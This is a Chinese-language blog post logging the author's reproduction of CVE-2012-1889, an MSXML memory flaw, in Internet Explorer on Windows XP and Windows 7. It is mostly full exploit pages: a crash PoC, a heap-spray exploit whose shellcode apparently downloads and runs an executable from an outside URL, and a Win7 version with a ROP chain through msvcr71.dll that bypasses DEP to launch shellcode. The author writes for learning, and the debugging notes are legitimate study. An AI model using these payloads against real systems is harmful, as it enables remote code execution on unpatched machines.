cve-2012-1889调试记录

来吧,复现CVE

漏洞介绍

Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。

Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。

复现环境

IE8+Win7&IE6+WINXP SP3

开始复现

由于我想学习一波Heap Spray的知识就复现了这个洞,幸运的是这个洞由于当年比较火,网上的资料也比较齐全。

于是我找到了这个poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object> //这段代码说来惭愧,就算我找到了在那里复制的数据也没法发现它直接进入堆
<script>
var obj = document.getElementById('poc').object;
var src = unescape("%u0c0c%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10); //其实真的就只有0x2000-10个 0c
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0); //触发异常
</script>
</body>
</html>

由于这段POC只是拿来测试有没有漏洞,那么自然会有的。

在程序崩溃后用kb查看栈回溯,可以轻松定位到触发漏洞的dll msxml3.dll

由于是xp环境先行,于是就找到了如下地址


崩溃函数的调用来自: 5dd8dab5

崩溃函数起于5dd8d6be

进入5dd8d772 后程序崩溃。

追踪一下ecx

call dword ptr [ecx+18h]

5dd8d75d 8b08 mov ecx,dword ptr [eax]

5dd8d751 8b45ec mov eax,dword ptr [ebp-14h]


由于堆喷的知识,我们需要控制eip=0c0c0c0c,由于没有保护,可以看到最后经由ebp-14h 即是0012e2bc处,被覆盖完成溢出。

call之后直接执行0c0c0c0c+18 这个地址的内容,于是在xp平台下的

于是我们需要做的很简单,申请足够大(200m)大小的空间,保证0c0c0c0c处有我们布置的数据就好。

于是附上最终的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
var shellcode = "\u10EB\u4A5A\uC933\uB966\u013C\u3480\u990A\uFAE2\u05EB\uEBE8\uFFFF\u70FF\u994C\u9999\uFDC3\uA938\u9999\u1299\u95D9\uE912\u3485\uD912\u1291\u1241\uA5EA\uED12\uE187\u6A9A\uE712\u9AB9\u1262\u8DD7\u74AA\uCECF\u12C8\u9AA6\u1262\uF36B\uC097\u3F6A\u91ED\uC6C0\u5E1A\uDC9D\u707B\uC6C0\u12C7\u1254\uBDDF\u5A9A\u7848\u589A\u50AA\u12FF\u1291\u85DF\u5A9A\u7858\u9A9B\u1258\u9A99\u125A\u1263\u1A6E\u975F\u4912\u9DF3\u71C0\u99C9\u9999\u5F1A\uCB94\u66CF\u65CE\u12C3\uF341\uC098\uA471\u9999\u1A99\u8A5F\uDFCF\uA719\uEC19\u1963\u19AF\u1AC7\uB975\u4512\uB9F3\u66CA\u75CE\u9D5E\uC59A\uB7F8\u5EFC\u9ADD\uE19D\u99FC\uAA99\uC959\uCAC9\uC9CF\uCE66\u1265\uC945\u66CA\u69CE\u66C9\u6DCE\u59AA\u1C35\uEC59\uC860\uCFCB\u66CA\uC34B\u32C0\u777B\u59AA\u715A\u66BF\u6666\uFCDE\uC9ED\uF6EB\uD8FA\uFDFD\uFCEB\uEAEA\uDE99\uEDFC\uE0CA\uEDEA\uF4FC\uF0DD\uFCEB\uEDFA\uEBF6\uD8E0\uCE99\uF7F0\uE1DC\uFAFC\uDC99\uF0E1\uCDED\uEBF1\uF8FC\u99FD\uF6D5\uFDF8\uF0D5\uEBFB\uEBF8\uD8E0\uEC99\uF5EB\uF6F4\u99F7\uCBCC\uDDD5\uEEF6\uF5F7\uF8F6\uCDFD\uDFF6\uF5F0\uD8FC\u6899\u7474\u3A70\u2F2F\u6574\u7473\u632E\u6D6F\u742F\u7365\u2E74\u7865\u8065";
var fill = "\u0c0c\u0c0c";
while (fill.length <= 0x100000 / 2){
fill += fill;
}
fill = fill.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);
var slide = new Array();
for (var i = 0; i < 200; i++){
slide[i] = fill + shellcode;
}
var obj = document.getElementById('poc').object;
var src = unescape("%u0c0c%u0c0c");
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>

其实xp系统下的复现真的还是比较轻松愉快。


接下来是win7系统。

其实变数就在于开了关键的两个保护 DEP和ASLR

那么我们也有成熟的工具帮助我们 mona

关键就在于rop链的位置。

于是就要寻找相对位置吧。

Tip:就算相对地址疯狂变动,但是我们秉承这样的算法: 偏移地址除以2再除以0x1000取余数,这个地址是相对不变的。

于是组合就应该是这样:rop chain+shellcode+0c0c0c0c0c0.。。。。。

至此。

附上最终Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<html>
<head>
<title>CVE 2012-1889 PoC</title>
</head>
<body>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='poc'></object>
<script>
// [ Shellcode ]
var shellcode = "\u96E9\u0000\u5600\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u468B\u8B08\u207E\u368B\u3966\u184F\uF275\uC35E\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u37E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0A74\uCFC1\u010D\uE9C7\uFFF1\uFFFF\u7C3B\u2824\uDE75\u5A8B\u0124\u66EB\u0C8B\u8B4B\u1C5A\uEB01\u048B\u018B\u89E8\u2444\u611C\uADC3\u5250\uA7E8\uFFFF\u89FF\u8107\u08C4\u0000\u8100\u04C7\u0000\u3900\u75CE\uC3E6\u19E8\u0000\u9800\u8AFE\u7E0E\uE2D8\u8173\u08EC\u0000\u8900\uE8E5\uFF5D\uFFFF\uC289\uE2EB\u8D5E\u047D\uF189\uC181\u0008\u0000\uB6E8\uFFFF\uEBFF\u5B0E\uC031\u5350\u55FF\u3104\u50C0\u55FF\uE808\uFFED\uFFFF\u6163\u636C\u652E\u6578\u0000";
// [ ROP Chain ]
// 0x0C0C0C24 -> # retn
// 0x0C0C0C14 -> # xchg eax, esp # retn
// Start from 0x0c0c0c0c
var rop_chain = "\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\u7cff\u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll]
"\u8b05\u7c34" + // 0x7c348b05 # xchg eax, esp # retn [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
// The real rop chain
"\u7cff\u7c35" + // 0x7c357cff : ,# POP EBP # RETN [MSVCR71.dll]
"\u7cff\u7c35" + // 0x7c357cff : ,# skip 4 bytes [MSVCR71.dll]
"\u098d\u7c36" + // 0x7c36098d : ,# POP EBX # RETN [MSVCR71.dll]
"\u0201\u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"\u58e6\u7c34" + // 0x7c3458e6 : ,# POP EDX # RETN [MSVCR71.dll]
"\u0040\u0000" + // 0x00000040 : ,# 0x00000040-> edx
"\u4f23\u7c35" + // 0x7c354f23 : ,# POP ECX # RETN [MSVCR71.dll]
"\ueb06\u7c38" + // 0x7c38eb06 : ,# &Writable location [MSVCR71.dll]
"\u2eae\u7c34" + // 0x7c342eae : ,# POP EDI # RETN [MSVCR71.dll]
"\ud202\u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"\uaceb\u7c34" + // 0x7c34aceb : ,# POP ESI # RETN [MSVCR71.dll]
"\u15a2\u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
"\u5194\u7c34" + // 0x7c345194 : ,# POP EAX # RETN [MSVCR71.dll]
"\ua151\u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]
// 实际上VirtuanProtect()的地址是0x7c37a140,因为下面一条指令ADD AL,OEF
// 会改变这个值,所以在填充内存的时候先将这个地址减去OEF,最终结果是0x7c37a151
"\u8c81\u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"\u5c30\u7c34" ; // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
// [ fill the heap with 0x0c0c0c0c ] About 0x2000 Bytes
var fill = "\u0c0c\u0c0c";
while (fill.length < 0x1000){
fill += fill;
}
// [ padding offset ]
padding = fill.substring(0, 0x5F6);
// padding full with 0c
// [ fill each chunk with 0x800 bytes ]
evilcode = padding + rop_chain + shellcode + fill.substring(0, 0x800 - padding.length - rop_chain.length - shellcode.length);
//evilcode=0c0c+rop+shellcode+0c
// [ repeat the block to 512KB ]
while (evilcode.length < 0x40000){
evilcode += evilcode;
}
// [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]
var block = evilcode.substring(2, 0x40000 - 0x21);
// [ Allocate 200 MB ]
var slide = new Array();
for (var i = 0; i < 400; i++){
slide[i] = block.substring(0, block.length);
}
// [ Vulnerability Trigger ]
var obj = document.getElementById('poc').object;
var src = unescape("%u0c08%u0c0c"); // fill the stack with 0x0c0c0c08
while (src.length < 0x1002) src += src;
src = "\\\\xxx" + src;
src = src.substr(0, 0x1000 - 10);
var pic = document.createElement("img");
pic.src = src;
pic.nameProp;
obj.definition(0);
</script>
</body>
</html>

写在后面的话:必须要这个msvcr71.dll加载才能完成rop。不然会发现那个地址什么都没有!

文章目录
  1. 1. 来吧,复现CVE
  2. 2. 写在后面的话:必须要这个msvcr71.dll加载才能完成rop。不然会发现那个地址什么都没有!